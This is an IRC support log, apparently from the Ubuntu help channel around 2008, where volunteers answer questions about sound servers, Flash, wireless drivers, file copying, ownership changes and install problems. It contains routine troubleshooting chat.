[00:00] <jrib> lee_: are you sure the ffmpeg package from medibuntu isn't compiled with the support you want?
[00:00] <jrib> reportingsjr: 5% is reserved for root
[00:00] <lee_> jrib: Not entirely sure, but why is medialib hard to get?
[00:00] <goldmetal> jack-desktop, i found... thx
[00:00] <reportingsjr> jrib, ah, that would explain it. :)
[00:00] <ScheissDrogen> darrylb: got some space on a hd free ?
[00:00] <Jack_Sparrow> goldmetal np
[00:00] <jrib> reportingsjr: you can change it with tune2fs, but I've never done it
[00:01] <jrib> lee_: I've never heard of it
[00:01] <lee_> jrib: ffmpeg is asking for it :|
[00:01] <darrylb> ScheissDrogen: Can't do it without installing to HD? I was thinking it might go into a ram drive or something. Or, is there some way I can make a custom ubuntu live cd that has the nvidia drivers on it?
[00:01] <lee_> jrib: how would I install ffmpeg from medibuntu repositories instead of the usual ones?
[00:01] <jrib> !medibuntu > lee_
[00:01] <reportingsjr> jrib, thanks so much! I will now enjoy 650gb, compared to the 40gb I had for the past two years. :)
[00:02] <bobertdos> Isaac_of_Trek: That means it's detected, but not necessarily that there's a driver installed for it.
[00:02] <ActionParsnip> yo yo yo
[00:02] <Isaac_of_Trek> it says the drivers there. Under drivers
[00:02] <lee_> jrib: i've got the medibuntu repo, but how to I get apt to 'prefer' it?
[00:02] <jrib> reportingsjr: wow, what an upgrade :)
[00:02] <ActionParsnip> has anyone seen a guy named cheesy ?
[00:03] <jrib> lee_: it will do so automatically.  Check with 'apt-cache policy ffmpeg'
[00:03] <ScheissDrogen> darrylb: little nervy with ram, would need enormous amount and after reboot its gone, yes there are ways to make custom-live, but I'm no specialist in that
[00:03] <lee_> ok
[00:03] <Isaac_of_Trek> iwconfig reports lo no wireless extensions eth0 no wireless extentions
[00:04] <Hazarath> Ok, posted my problem on the forums. http://ubuntuforums.org/showthread.php?p=5752477#post5752477
[00:04] <reportingsjr> jrib, hah, yeah. SATA2 from IDE cable. =\
[00:05] <bobertdos> Isaac_of_Trek: Maybe you should try ndisgtk (with ndiswrapper) using the latest XP driver.
[00:05] <reportingsjr> jrib, just about EVERYTHING from now on will be going in my new hd, so I can get some decent speeds..
[00:05] <joh> Where can I change the default sound output device in firefox on hardy? /etc/firefox/firefoxrc doesn't exist and firefox doesn't seem to know about it.
[00:05] <Isaac_of_Trek> bobertdos: what? and it is duel booting with a vista basic
[00:06] <Isaac_of_Trek> I tried getting network manager, but it does not seem to be working
[00:06] <philsf> I used to have a lock icon in the notification area indicating my ssh keyphrase is cached  by the seahorse agent (I guess in feisty I still had it), and I never seen it ever since the upgrade to gutsy, also missing in hardy (so it's a regression). Anyone know how to re-enable it?
[00:06] <ScheissDrogen> joh: firefox ?? asoundconf-gtk you can change it or gnome-volume manager
[00:07] <joh> ScheissDrogen: Thanks
[00:07] <bobertdos> Isaac_of_Trek: Define "not working"
[00:07] <Isaac_of_Trek> its not here
[00:07] <Isaac_of_Trek> I can't find the icon
[00:07] <jrib> reportingsjr: might make sense to just make your new hd your /home
[00:07] <Isaac_of_Trek> It is uninstallable
[00:08] <bobertdos> Isaac_of_Trek: Nothing under System->Administration->Network, right?
[00:09] <Isaac_of_Trek> in network setting?
[00:10] <pzn> my ubuntu intrepid is too slow to boot up. it stops about 2 minutes in "starting network". the cable is plugged any hint?
[00:10] <wil_> so the problem ive been having i believe is that some programs use pulse audio and some dont, and i can have both programs running at the same time with audio, example i cant have amarok and firefox playing sounds at t he same time, any fix for this?
[00:10] <bobertdos> Isaac_of_Trek: Yeah......Oh, and ndisgtk is a graphical front for ndiswrapper, you see. It uses Windows XP drivers to configure (mostly) drivers for wifi cards.
[00:11] <timo> ﻿wil_: i have pulse audio and many programs using sound at the same time.
[00:12] <wil_> timo: ive had this problem since ive installed
[00:12] <bobertdos> wil_: This has more to do with Pulse than anything else. It is a known bug, with no good fix at the moment. The only workaround is to switch all the sound devices to Alsa. Amarok tends to lockup when you do this, but Rhythmbox is okay with it.
[00:13] <timo> ﻿wil_: I had to install many other things to get it working, look on the ubuntu forums
[00:13] <wil_> timo: i have all the time, find nothing on the forums
[00:13] <lars> anybody help me pls
[00:13] <wil_> bobertdos: know if they intend to fix any of this in ibex?>
[00:13] <lars> i am new
[00:13] <SchmittyDoesIt> got my iscsi connection working....im stoked
[00:13] <ActionParsnip> !find tild
[00:14] <lars> i am having problems with my graphic card
[00:14] <bobertdos> wil_: We can only hope ;\
[00:14] <timo> pulse works great here really couldnt live without it.
[00:14] <lars> help pleasde
[00:14] <wil_> never had a problem before pulse
[00:14] <wil_> now i do
[00:14] <wil_> hate it
[00:14] <ScheissDrogen> !ask |  lars
[00:14] <SchmittyDoesIt> lol wil_
[00:14] <lars> ok
[00:15] <lars> i have nvidia  geforce go 7400
[00:15] <lars> but
[00:15] <lars> resolution
[00:15] <lars> is horrible
[00:15] <soundray> !enter | lars
[00:15] <lars> and i cann ot change it
[00:15] <bobertdos> wil_: but yeah, for now, go into System->Preferences->Sound and switch everything explicitly to Alsa. Like I said, Amarok doesn't like it, but Rhythm box is okay.
[00:15] <joh> ScheissDrogen: You good with ALSA? I've set up .asoundrc to redirect audio to JACK, but this doesn't seem to work with flash. Here's my asoundrc: http://paste2.org/p/71551
[00:15] <Isaac_of_Trek> System->Administration->Network and network tools only
[00:16] <lars> i only have 640 x ...
[00:16] <lars> what can i do
[00:16] <bobertdos> Isaac_of_Trek: ndisgtk is my suggestion for now
[00:16] <tamer> how i can rotate my workspaces in cupic shape
[00:16] <jrib> !fixres > lars
[00:16] <bobertdos> !x | lars
[00:16] <wil_> bobertdos: ehhh amarok is my life
[00:16] <jrib> !ccsm > tamer
[00:16] <timo> pulse gives you the feature to control each volume on every application, just like vista
[00:17] <Isaac_of_Trek> what ist. where do i get it?
[00:17] <bobertdos> wil_: Well maybe Amarok will behave better for you under Alsa than it does for me.
[00:17] <timo> wil_ try this http://ubuntuforums.org/showthread.php?t=789578
[00:17] <solexious> [q] How con i monitor a proses and run a command if it stops?
[00:17] <timo> alsa is history it needs to go.
[00:18] <bobertdos> Isaac_of_Trek: Install it from the repos, then go find the latest XP driver for your card. It's the inf file that ndisgtk needs to be pointed to, along with the rest of the driver.
[00:18] <bobertdos> timo: and it will, but not just yet.........it needs a little work
[00:18] <tamer> i have my desktop like cupic but i wanna see the cupic more far
[00:18] <dres> solexious: there are daemons that will do that.  can't remember the name of one atm  looking.
[00:19] <tamer> i wanna see it rotating from more distance
[00:19] <solexious> dres, thank you :)
[00:19] <timo> bobertdos it cant go soon enough its the root of all sound problems
[00:19] <dres> solexious: monit is one.
[00:19] <solexious> dres, thank you :
[00:19] <Isaac_of_Trek> what is repos?
[00:20] <solexious> dres, thats great :)
[00:20] <bobertdos> timo: There are those who might say just the opposite :p
[00:20] <pen> do anyone here know what the button is called on the panel for the gnome-panel widgets? not window list...
[00:20] <bobertdos> timo but we're getting off topic
[00:20] <ScheissDrogen> joh: I see nothing wrong in it, can you play video in ff ? but get no sound ?
[00:20] <timo> hey thats life
[00:20] <wil_> timo: i dont know if you noticed, but pulse audio is now the problem of all our sound issues
[00:20] <ScheissDrogen>  lars  : can u handle your problem now ?
[00:20] <jrib> pen: you should try #gtk+ or #gnome on GIMPnet
[00:20] <wil_> we justed passed the buck to a new program
[00:21] <jrib> heh
[00:21] <pen> jrib, there is no gtk+ channel btw
[00:21] <pen> jrib, GIMPnet?
[00:21] <pen> jrib, nvm
[00:21] <timo> wil_ not at all...you will see for your self pule is the ubuntu rescue
[00:22] <bobertdos> I agree with you, timo, in that Pulse will soon be a great sound server, but it needs to mature a bit.
[00:22] <ActionParsnip> im standing by alsa, tried and tested
[00:22] <wil_> well it dont work right now and thats what i dont like
[00:23] <bobertdos> wil_: I would certainly think Pulse is one of Ibex's focuses. Again, we can only hope for the best.
[00:23] <Nikoremus> hi
[00:23] <Nikoremus> boys
[00:24] <soundray> Nikoremus: don't forget to greet the girls, too
[00:24] <Nikoremus> who is italian?
[00:24] <Osse> Is there a possibility to change the default internal-browser? (nautilus)?
[00:24] <soundray> !it | Nikoremus
[00:24] <ScheissDrogen> !it|Nikoremus
[00:24] <Nikoremus> grazie
[00:24] <ScheissDrogen> prego
[00:25] <soundray> Osse: it's possible, but very painful. If you don't like nautilus, you may as well switch away from gnome. Have you tried KDE and Xfce?
[00:25] <Osse> soundray - No, never tried any of them.
[00:25] <krauss> bobertdos: You said an 8 year old installed a WUBI version of Linux
[00:26] <krauss> bobertdos: What's that?
[00:26] <soundray> Osse: you can get a full alternative environment with apps installed with 'sudo apt-get install kubuntu-desktop' (for KDE)
[00:26] <dr_willis> !wubi
[00:26] <soundray> Osse: for Xfce, substitute xubuntu-desktop
[00:26] <Osse> soundray - How would this effect my current installation?
[00:27] <soundray> Osse: not at all, provided you have enough disk space. You will be able to choose the environment each time you log in.
[00:27] <joh> ScheissDrogen: Exactly, get no sound :(
[00:27] <joh> ScheissDrogen: I tried adding ctl.mixer0 { type hw \n card 1 } and now I actually get debug messages in jackd whenever I try to play a flash video in ff.
[00:28] <Osse> soundray - Oh, well. What are the diffrances?
[00:28] <joh> ScheissDrogen: FF uses alsa by default, right? Not aoss?
[00:28] <Elazar> Anyone had issues with OpenOffice 2.4.1 Presentation in Hardy seemingly not allowing for the configuration of hyperlink color?
[00:29] <ScheissDrogen> joh: normally yes, I never had that, once sound was working (system and playback) all other apps addapted it without additional settings
[00:29] <soundray> Osse: Xfce is lighter and thus better for lower-end machines, sacrificing some convenience. KDE offers more tweaks and some would say it's closer to Windows designwise.
[00:29] <bobertdos> joh: yes, well, flash 9 anyway
[00:29] <cheeky> !nvidia
[00:30] <KozyMatt> I apologize if this question doesn't belong here. I have a webserver with ftp setup. Only 2 people access the files, myself and another web designer that only uses windows. When he uploads anything, I have to go in and change the permissions of the files so people going to the site will be able to view them. Files I upload do have such a problem. Is there a program for windows that will allow him to upload to my server properly or is t
[00:30] <joh> bobertdos: How would you configure FF to play through aoss instead?
[00:30] <soundray> Osse: the difference is best experienced, though. Alternatively, see if you can get an impression from Youtube videos
[00:30] <Osse> soundray - Well, it sounds like I'm good with Gnome i think, I just wanted to check if there was a possibility to change it, to try others. I know there are some good.
[00:31] <extor> I am using /usr/bin/osd_cat to print some text to screen but the font is tiny. Is there any syntax that can make the font bigger or actually is it possible for me to define a custom font in X that has a defaut size of say, 25?
[00:31] <bobertdos> joh: Well, really the only direct control you have when it comes to that is changing the settings in System->Preferences->Sound
[00:31] <soundray> Osse: you can try some in parallel with nautilus. Really replacing, ie. removing nautilus will break a lot of things, though
[00:32] <Osse> soundray - Sounds like I'm not really ready to try that, heh.
[00:33] <joh> bobertdos: What happened to FIREFOX_DSP="aoss"?
[00:33] <soundray> Osse: are you any good on the command line? If you're at all technically inclined, you'll still fare much better with that than with graphical file management.
[00:33] <eight> omg wtf?!
[00:33] <zacha> grr getting hibernation to work is near impossible
[00:33] <soundray> !wtf | eight
[00:33] <eight> oh, nvm... got it
[00:34] <Osse> soundray - Well, I do handle alot of stuff through the terminal, but I prefer a simple GUI controlled one.
[00:34] <TheMaxzilla> ohmy! | eight
[00:34] <TheMaxzilla> oh, nevermind.
[00:34] <KozyMatt> Is it possible to have the proper permissions set on a file uploaded via ftp if they were uploaded using Windows Internet Explorer?
[00:34] <soundray> Osse: you find nautilus too complex?
[00:34] <BeBeLuShuL> hello
[00:34] <BeBeLuShuL> im new on ubuntu
[00:34] <ParanoidAndroid> yoyo
[00:34] <BeBeLuShuL> hot to add an username ?
[00:34] <KozyMatt> welcome ^_^
[00:35] <BeBeLuShuL> and that username to have permisions to create some directorys
[00:35] <soundray> BeBeLuShuL: using the GUI? System-Administration-Users and Groups
[00:35] <kamz> How can I copy all files of a given type from a directory and all its subdirectories into another folder?
[00:35] <Osse> soundray - Well, I'm trying out some alternatives right now, I find PCMan File manager quite okay.
[00:35] <BeBeLuShuL> soundray gui ?
[00:35] <Osse> soundray - I like the tabbing features and the customization feats.
[00:36] <KozyMatt> BeBeLuShuL: Graphical User Interface
[00:36] <soundray> BeBeLuShuL: with a Graphical User Interface, as opposed to using the command line.
[00:36] <BeBeLuShuL> there is no such command from terminal/console ?
[00:36] <soundray> BeBeLuShuL: of course there is. 'sudo adduser newusername'
[00:36] <ScheissDrogen> kamz: cp -r  /.../*.type   /target
[00:37] <BeBeLuShuL> thats all ?
[00:37] <ScheissDrogen> kamz: maybe sudo ,if permissions are on that folders
[00:37] <soundray> BeBeLuShuL: this starts a wizard-like procedure
[00:37] <soundray> BeBeLuShuL: 'man adduser' to find out more.
[00:38] <kamz> ScheissDrogen: i tried that, but it didn't copy any files from the subfolders.  Don't need sudo (all in the home folder)
[00:38] <joh> bobertdos: I changed to flash 10rc1 and that fixed my problem.
[00:39] <soundray> kamz: do you want to recreate the folder structure in the target directory?
[00:39] <abe3k> Hi guys, one of my friends has an acer 5520g, and he installed ubuntu hardy on it but the wireless light didn't turn on. any ideas why ?
[00:39] <ScheissDrogen> kamz  : name of the folder including subfolders ?
[00:40] <kamz> soundray: no, just need all files of type mp3
[00:40] <bobertdos> joh: That works too.........although you will likely eventually run into fairly frequent firefox crashes without a fix.
[00:40] <Khisanth> you could use rsync for that
[00:40] <ScheissDrogen> !wireless > abe3k
[00:40] <bobertdos> joh: *that I can give you, I mean
[00:40] <kamz> ScheissDrogen: folder is /home/user/Music/ and target is /home/user/Music2
[00:40] <tiina> hi wonder what I should do because I cannot open in my prog. menu ati catalyst control center?
[00:41] <soundray> kamz: find /source/directory -iname *.mp3 -print0 | xargs -i -0 cp '{}' /target/directory/
[00:41] <kamz> soundray: thanks, will give it a shot
[00:41] <KozyMatt> nvm, I think cygwin works for ftp transfers from Windows to Linux without screwing up permissions
[00:41] <xindo> if i switch to a terminal with crtl-alt-f3, is there a way to save my xterm, or keep it going?
[00:41] <KozyMatt> i'll tell him to get that lol
[00:42] <soundray> xindo: your X session will keep running. You can switch back to it with Ctrl-Alt-F7 or Ctrl-Alt-F9
[00:42] <joh> bobertdos: Maybe :P we'll see
[00:42] <tiina> hej undrar om någon vet varför jag inte kan öppna ati catalyst control center i min programmeny?
[00:43] <soundray> !se | tiina
[00:43] <ScheissDrogen> kamz : cp -r         /home/user/Music/*.mp3  /home/user/Music2
[00:43] <xindo> soundray: i switched to another session, when i switched back, it restarted x it seems, made me log back in, all my work was gone, any ideas?
[00:43] <krauss> I found a pretty speedy server for the ISO bobertdos
[00:44] <soundray> ScheissDrogen: that won't descend into subdirectories
[00:44] <ScheissDrogen> kamz :          /home/user/Music/ >>>last subfolder !!
[00:44] <krauss> Soundray
[00:44] <krauss> I got flash working :]
[00:44] <soundray> krauss: well done
[00:44] <AlexGC> good evening gentlemen
[00:44] <ScheissDrogen> kamz :     you got to put in the last subfolder as cmd is going up, not down
[00:44] <Moushira__>  I had ubuntu on dual boot, now when ubuntu starts I get a message with a list of commands available..and kernel is missing!shall I just re-install ubuntu?
[00:44] <krauss> soundray: thanks ;]
[00:45] <milia> bb
[00:45] <soundray> xindo: it shouldn't normally do that. Did you hit Ctrl-Alt-Backspace by accident?
[00:45] <kamz> ScheissDrogen: there are multiple subfolders on the same level
[00:45] <krauss> soundray: but now I am getting a newer version of Ubuntu, because apparently my version is insanely old
[00:45] <kamz> soundray: that seems to have worked, thanks!
[00:46] <soundray> krauss: ah. I tend to forget to ask about the version...
[00:46] <krauss> soundray: Hehe. 5.10
[00:46] <soundray> kamz: do you understand what it did?
[00:46] <ScheissDrogen> kamz : thats bed than, if you haven't build sensefull trees, but you could put all the folders in one
[00:46] <ScheissDrogen> *bad
[00:47] <kamz> soundray: not at all - gotta learn the command line :)
[00:47] <kamz> ScheissDrogen: yeah - trying to create a new, more organized music library
[00:48] <soundray> kamz: try 'find' by itself. It lists all files under a directory, including those in subdirs. '-iname' tells it to list only files that match a pattern, without being CaSe SenSiTIve.
[00:49] <kamz> soundray: thats actually pretty cool - i love how all these little programs can be linked together to do whats needed.  Any advice on where to start learning this kind of thing?
[00:49] <soundray> kamz: -print0 separates the listing with a \0 character, making it safe for filenames that contain spaces. Pipe xargs takes the list from find and inserts it into a command, in your case after cp but before the destination directory.
[00:50] <kindofabuzz> why will ubuntu not auto connect to a wpa wireless network?  tried wicd also, no go.  works fine with security turned off.
[00:50] <soundray> !cli | kamz
[00:50] <TheMaxzilla> If I post a link to a movie, can you guys tell me what software their using?
[00:50] <soundray> kamz: also, the #bash channel is very good -- start with the links in the /topic
[00:51] <kamz> soundray: will do. Thanks!
[00:51] <EagleSn> each time i reboot, the two gnome panels swap their possitions
[00:52] <carandraug> EagleSn: have you tried right click on them and select "lock to panel"?
[00:52] <soundray> EagleSn: you mean the top and bottom ones swap places?
[00:53] <EagleSn> i have the two gnome panels at the bottom of the screen, but i have one of them to be over the other one always, and each time i reboot they swap possition, i have locked them with pessulus package
[00:53] <EagleSn> in Gnome 2.12 the never swapped their possition
[00:54] <carandraug> EagleSn: oh! You mean the panel/panel. Sorry, I thought you meant the menus you have on the panels/bars
[00:54] <jack-desktop> how can i make a file that is owned by root owned by me
[00:54] <soundray> jack-desktop: use sudo
[00:54] <freeflowcauvery> this made me spit out my coffee today...http://xkcd.com/149/
[00:54] <jack-desktop> soundray what command?
[00:54] <soundray> jack-desktop: what exactly do you mean by "make"?
[00:55] <jack-desktop> i just want to make me the owner of the file
[00:55] <sploh> alt + enter to change the owner
[00:55] <soundray> jack-desktop: apologies, I misread
[00:55] <jack-desktop> sploh that doesn't help if im not root
[00:55] <soundray> jack-desktop: 'sudo chown $USER:$USER filename'
[00:56] <sploh> jack-desktop then use root to change it
[00:56] <jack-desktop> thanks soundray
[00:56] <hdevalence> My resolv.conf file has a line which says "# generated by NetworkManager, do not edit!". What is the appropriate command-line tool to edit it?
[00:56] <bobertdos> krauss: good
[00:56] <sploh> cool
[00:56] <sploh> :)
[00:57] <hdevalence> er, which is the tool to modify it so networkmanager is happy
[00:58] <spx2> how should I learn iptables ?
[00:58] <spx2> what would I need ?
[00:58] <krauss> I feel so good. Learning this thing
[00:59] <dr_Willis> spx2,  thers dozens of tutotials and ebven books out on iptables.. its a large topic.  Start small work your way up I guess.
[00:59] <carandraug> EagleSn: don't know which version you have but in mine I can choose "Lock panel position" or "Allow panel to be moved"
[00:59] <ScheissDrogen> ﻿ hdevalence:sudo gedit
[00:59] <soundray> hdevalence: System-Administration-Network -- DNS tab. Sorry, I don't know a command line equivalent for that.
[01:00] <soundray> ScheissDrogen: you're not *really* answering hdevalence's question there
[01:00] <ScheissDrogen> soundray: just got it, too, thx
[01:00] <EagleSn> i am now in ubuntu hardy with gnome 2.22.3, where can i Lock the panels?
[01:00] <^paradox^> just a quick test. are you seeing my messages?
[01:01] <dr_Willis> ^paradox^,  yes.
[01:01] <eight> no
[01:01] <EagleSn> ^paradox^ yes
[01:01] <soundray> ^paradox^: only very faintly
[01:01] <eight> well, I don't see it
[01:01] <carandraug> EagleSn: if I right click on the panel, and select about, I get "The GNOME Panel 2.23.91"
[01:01] <^paradox^> faintly?
[01:01] <ScheissDrogen> lol
[01:01] <soundray> ^paradox^: yes, strike your keys harder
[01:01] <dr_Willis> Set your font to BOLD. :)
[01:01] <EagleSn> gnome panel 2.22.2
[01:02] <EagleSn> carandraug are you un Intrepid?
[01:02] <^paradox^> in xchat how do i do that?
[01:02] <^paradox^> sorry new to irc
[01:02] <carandraug> EagleSn: yes. But I still asked because I don't know if that feature was already on hardy
[01:02] <dr_Willis> ^paradox^,  it was a  Joke.....
[01:02] <hdevalence> soundray: ah thanks anyways
[01:02] <soundray> ^paradox^: sorry, just messing with you. We can read you loud and clear
[01:02] <ScheissDrogen> !ot> ^paradox^
[01:02] <EagleSn> carandraug do u have lock panel option by right click in panel?
[01:02] <soundray> ^paradox^: do you have a support question?
[01:03] <carandraug> EagleSn: yes
[01:03] <kat__> Can anyone help me become ACTIVE in DC++, instead of PASSIVE?
[01:03] <carandraug> EagleSn: it says "lock panel position"
[01:03] <EagleSn> may be i should contribute in testing Intrepid lol
[01:04] <EagleSn> carandraug have you seen any important failure in Intrepid?
[01:04] <carandraug> EagleSn: be careful. I had a load of problems. But again, my graph card is an ATI without proper support and the same for my wireless adaptor that I have to use ndiswrapper
[01:04] <soundray> EagleSn: please ask about intrepid in #ubuntu+1
[01:05] <carandraug> EagleSn: soundray is right. Come to #ubuntu+1
[01:05] <EagleSn> yes i know
[01:05] <soundray> dr_Willis: oh dear, I think I scared him away
[01:05] <EagleSn> i have been using Kubuntu intrepid, but not Ubuntu
[01:05] <dr_Willis> soundray,  shame :)
[01:07] <timo> is crome available for hard, want to try it :)
[01:07] <timo> chrome
[01:07] <soundray> timo: no, chrome is not out for Linux yet
[01:07] <ActionParsnip> timo: how do you get it?
[01:07] <timo> i dont know
[01:08] <ActionParsnip> timo: i just wanna try it, ive seen vids and im not overly impressed
[01:08] <ripper> hi there every one
[01:08] <ActionParsnip> !hi | ripper
[01:08] <timo> ﻿ActionParsnip: you going to wait its not out for ubuntu yet
[01:08] <HymnToLife> yeah, Chrome is just all about the hype
[01:08] <ripper> so this is the general help i get ???
[01:08] <Mc_abyss> ActionParsnip- i have it installed in wine but have nothing but problems with it so gave up
[01:09] <ActionParsnip> Mc_abyss: you got cedega or crossover?
[01:09] <HymnToLife> it will die out quite soon
[01:09] <dr_Willis> ripper,  this is the IRC support channel. :) theres also the forums. and wiki pages.
[01:09] <timo> theres no need for it firefox is more then enough
[01:09] <Mc_abyss> ActionParsnip, lol who knows m8
[01:09] <bobertdos> ActionParsnip: I've tried it in Windows and to say it is still rough is an understatement.
[01:09] <ActionParsnip> ripper: ask your question, we wont respond if you dont ask
[01:09] <soundray> Chrome discussions are *so* offtopic here
[01:09] <ripper> ok guys im not new to problem with ubuntu and installing it especialy with its crapy drivers but when it says it can mount my cd-rom i have no idea what to do
[01:10] <ActionParsnip> bobertdos: i'll just wait til it matures
[01:10] <timo> ok
[01:10] <ripper> cant
[01:10] <ActionParsnip> ripper: cdrom will automount in /media/cdrom0
[01:10] <ripper> off of the alternate text cd for x64 bit users
[01:11] <RyanPrior> Can anyone recommend a FOSS alternative to Microsoft Viseo?
[01:12] <soundray> ripper: please give a full accurate problem description on one line without resorting to fecal language
[01:12] <timo> firefox just crashed =-O
[01:13] <ActionParsnip> timo: it does that, specially with flash
[01:13] <ActionParsnip> timo: you on 64bit linux?
[01:13] <soundray> ActionParsnip: not here, never
[01:13] <timo> yeh flash is really bad here.
[01:14] <ActionParsnip> soundray: sucks here, opera is much nicer to me
[01:14] <ripper> im trying to install ubuntu harty haronx64 using alternate cd text based. when trying to install  it says it cant mount th cd-room
[01:14] <timo> i stopped using opera
[01:14] <ActionParsnip> ripper: why did you get the alternate cd?
[01:14] <user01> my ssh account over the internet works, but i cant seem to get the virtual desktop to work . . . can someone help?
[01:15] <ripper> well in the past live has never worked
[01:15] <soundray> ripper: this happens as you boot the install CD, before you get to make any installation choices?
[01:15] <ActionParsnip> user01: use ssh -x user@server
[01:15] <krauss> Ripper: Are you able to use commands?
[01:15] <ActionParsnip> ripper: did you md5 check the iso and cd once it was burned?
[01:15] <ripper> yes and yes
[01:15] <dr_Willis> user01,  clarify  'virtual desktop'
[01:15] <ripper> after it se what my keyboad is is says it can mount cd-rom
[01:15] <ActionParsnip> user01: you will need an x library like cygwin to get the display if you are using a windows box
[01:16] <user01> dr_Willis, vnc?
[01:16] <ripper> *sets
[01:16] <soundray> ripper: what kind of computer is it? Desktop? Laptop? Mac?
[01:16] <ActionParsnip> ripper: sudo mkdir /mnt/disk; sudo mount /dev/cdrom /mnt/disk
[01:16] <ripper> desktop
[01:16] <ripper> made my self
[01:17] <dr_Willis> user01,  i normally ssh in, and run 'vncserver' - then run the vncclient  locally to connect.
[01:17] <soundray> ripper: is your CD-ROM a SATA device?
[01:17] <bobertdos> timo: Are you using flash 10?
[01:17] <ripper> yep. and i think that the problem syas its looking for ide
[01:17] <dr_Willis> user01,  i do NOT normally share the 'current desktop'  like windows always does with its vnc service.
[01:17] <timo> makes no difference sata or IDE
[01:17] <ActionParsnip> sata is ide, you should say pata
[01:18] <timo> bob flash 10. i dint know there was
[01:18] <ripper> soudndray: yes  my cd-rom is sata
[01:18] <timo> i use sata :)
[01:18] <ripper> soundray: yes  my cd-rom is sata
[01:18] <ActionParsnip> ripper: if yuo use the command i gave it'll mount the cdrom
[01:18] <soundray> ripper: do you happen to have a PATA CD-ROM drive lying around?
[01:19] <ripper> nope just sold old comp
[01:19] <bobertdos> timo: Well, about the crashes with 9, I usually suggest disabling visual effects, installing libflashsupport, and checking for conflicting plugins like gnash.
[01:19] <user01> dr_Willis, so . . . i typed in vncserver on my remote computer, ran as sudo
[01:19] <soundray> ripper: have you installed any other OSs yet, or is Ubuntu the first?
[01:19] <user01> user01, how do i get virtual desktop?
[01:20] <ActionParsnip> !vnc | user01
[01:20] <timo> bob could you tell me what you see with this site http://www.adobe.com/shockwave/welcome/
[01:21] <ripper> soundray: yea i have vista running
[01:21] <Drk_Guy> Does ubuntu support Gujin? (GRUB Killer)
[01:21] <incognito> im having a problem booting  off of the  live cd, i need to boot off of the live cd and chroot in to reset my password because i forgot it
[01:21] <bobertdos> timo: Shockwave player doesn't run, but Adobe Flash is perfectly fine, (Installation Complete)
[01:22] <timo> same here
[01:22] <incognito> i get these errors when i try to boot off of the live cd, give me a sec and ill paste them
[01:22] <bobertdos> Why do you ask, timo?
[01:23] <Drk_Guy> incognito, chroot <partition>, sudo -i, passwd...
[01:23] <Dr_willis_> incognito,  if you have a grub menu insalled..  theres ways you can do that without a live cd. I forget how. :) append 'single' to the end of the boot options i think is one way
[01:23] <timo> could be the cause of the crash and cpu overload. Flash is now working 100% the way it should
[01:23] <incognito> drk_guy i cant get the live cd to load though it errors out
[01:23] <Drk_Guy> incognito, scratched cd?
[01:23] <incognito> give me a sec when it gives me the error again ill show you what it says
[01:23] <ripper> cpu: e8600,mobo: gigabyte EP45-DS3R, GPU:Ati hd 4870, cd-rom:samsung sata:
[01:24] <soundray> ripper: I think the install CD chokes on your SATA controller. That doesn't necessarily mean that Ubuntu wouldn't work if you manage to install it somehow. One thing you could try is a wubi install, or have a look at the various non-CD based install methods.
[01:24] <soundray> !install | ripper
[01:24] <incognito> Drk_Guy nope its not scratched
[01:24] <timo> ﻿bobertdos: i might be wrong could just be the way flash works.
[01:24] <timo> i hate it
[01:24] <Drk_Guy> incognito, try pressing F6 and adding apic=off
[01:24] <Drk_Guy> incognito, although that's mainly used for old pc's
[01:24] <carandraug> incognito: if you're having problems, try "check CD for defects" next time instead of trying to install it
[01:24] <bobertdos> timo: There's an option you can add that may cut down on CPU usage.
[01:25] <timo> whats that bob
[01:25] <soundray> ripper: Drk_Guy just reminded me of something -- have you tried adding any kernel boot options?
[01:25] <carandraug> incognito: and by check CD, I mean the option you get when you boot from the CD
[01:25] <Drk_Guy> lol soundray
[01:25] <incognito> its checking the cd for defects
[01:26] <ripper> soundray: no that a negative
[01:26] <incognito> drk_guy where do i press f6 at? from the boot menu?
[01:26] <bobertdos> timo: If you create /etc/adobe/mms.cfg, you can add: OverrideGPUValidation=true. That reduces CPU usage significantly for most people.
[01:26] <Drk_Guy> incognito, right after the disc asks for language
[01:26] <soundray> ripper: give me a minute to dig something out
[01:27] <incognito> drk_guy it freezes up before i get that far
[01:27] <ripper> man i wish i could install it then have troubles then i would just check the logs and it would be so easy
[01:27] <ripper> ok
[01:27] <Drk_Guy> incognito, WTF
[01:27] <Drk_Guy> incognito, is your pc really old?
[01:28] <incognito> drk_guy no, 1GB of RAM , intel core 2 duo processor
[01:28] <d_dyer> do any of you guys know of any screen capture applications so i can stream my screen from ustream?
[01:28] <ripper> my comp is so new ubuntu has no idea what its looking at man i hate being up to date
[01:28] <incognito> iv never had this problem before
[01:28] <Drk_Guy> incognito, intel, huh? then your bios must be efi
[01:28] <carandraug> ripper: I'm not sure but I've heard it's possible to get the cd into a usb pen and install from there. But that may be harder than to fix your cd-rom problem
[01:28] <Drk_Guy> !EFI
[01:28] <ripper> lol
[01:28] <incognito> drk_guy im not sure this is actually my moms computer, id have to look
[01:28] <TheMaxzilla> !efi
[01:28] <timo> file was empty
[01:28] <ripper> carandraug:
[01:29] <incognito> im trying to fix it for her
[01:29] <ripper> carandraug: lol
[01:29] <Drk_Guy> incognito, not sure, lemme research a lil
[01:29] <Dr_willis_> ripper,  may want to check out the  Next release thats being worked on.
[01:29] <incognito> ok drk_guy thanks
[01:29] <soundray> ripper: calm down, I've found something for you to try. Do you get a boot: prompt when you boot the alternate CD?
[01:30] <Drk_Guy> !uefi
[01:30] <incognito> well after i ran "check disk for defects" it completed with no errors im guessing because it just restarted my computer after it was done
[01:30] <hiptobecubic> are there any good open/free programs for working wth PDF docs? I need to highlight and write notes etc.
[01:30] <ripper> soundray: yea i get text based install it ask my what language and what type of keyboard i have but then its says its unable to mount cd-rom
[01:30] <soundray> ripper?
[01:31] <d_dyer> do any of you guys know of any screen capture applications so i can stream my screen from ustream?
[01:31] <ripper> soundray: during the install steps
[01:31] <bytan> @d_dyer,, xvidcap for you
[01:31] <TheMaxzilla> What is the software he's using to switch from his halo game and his computer at about 1:00? http://www.thewebsiteisdown.com/
[01:31] <bytan> or istanbul
[01:31] <d_dyer> i tried that
[01:31] <soundray> ripper: I mean before that. Just after it starts booting, it should give you a prompt where you can enter a kernel boot option
[01:31] <d_dyer> ustream didnt reconize it
[01:31] <incognito> any one here have any idea how to get their cam to work with flash?
[01:32] <incognito> logitech communicate STX
[01:32] <ripper> soundray: idono
[01:32] <cool> muont a webcam???
[01:32] <^paradox^> im need of a little help with vlc media player
[01:33] <bobertdos> timo: You have to create the adobe directory yourself, and also write the file yourself.
[01:33] <Drk_Guy> incognito, i think you need a special boot loader
[01:33] <Drk_Guy> DAMN you intel
